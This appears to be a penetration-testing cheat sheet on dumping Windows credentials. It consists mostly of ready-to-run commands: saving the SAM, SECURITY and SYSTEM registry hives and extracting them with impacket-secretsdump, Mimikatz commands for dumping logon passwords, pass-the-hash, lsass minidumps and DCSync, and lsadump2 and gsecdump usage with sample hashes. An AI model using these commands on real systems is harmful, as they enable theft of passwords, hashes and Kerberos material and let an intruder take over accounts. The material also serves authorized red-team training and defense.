# Password Dumping ## Manual ``` reg save hklm\sam c:\temp\sam.save reg save hklm\security c:\temp\security.save reg save hklm\system c:\temp\system.save ``` on our own host: ``` impacket-secretsdump -sam sam.save -security security.save -system system.save LoOCAL ``` ## Mimikatz Mimikatz is a leading post-exploitation tool that dumps passwords from memory, as well as hashes, PINs and Kerberos tickets. Link: ### **Quick usage** Ask for debug privilege for mimikatz process. (have to be done first) `privilege::debug` **Clear screen** `Cls` **Exit mimikatz** `Exit` ### **Examples** **Dump credentials:** ``` privilege::debug sekurlsa::logonpasswords ``` **Pass-The-Hash** `mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a` **Minidump** `mimikatz # sekurlsa::minidump lsass.dmp` **DCSync** `lsadump::dcsync /domain:pentestlab.local /user:test` ## lsadump This is an application to dump the contents of the LSA secrets on a machine, provided you are an Administrator. It uses the same technique as pwdump2 to bypass restrictions that Microsoft added to LsaRetrievePrivateData(), which cause the original lsadump to fail. Lsadump2 requires Administrator access to run. The usage for lsadump2 is shown here: `C:\>lsadump2.exe Lsadump2` - dump an LSA secret. Usage: lsadump2.exe \ \ You will have to determine the PID of the lsass (just as with pwdump2): `C:\>tlist | find /i "lsass" 244 LSASS.EXE` ## gsecdump gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. Link: ### example `C:\Documents and Settings\nobody\Desktop>gsecdump -u gsecdump -u MSHOME\XPSP1VM$::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::` ## FGDump Cachedump aka In-memory attacks for SAM hashes / Cached Domain Credentials.
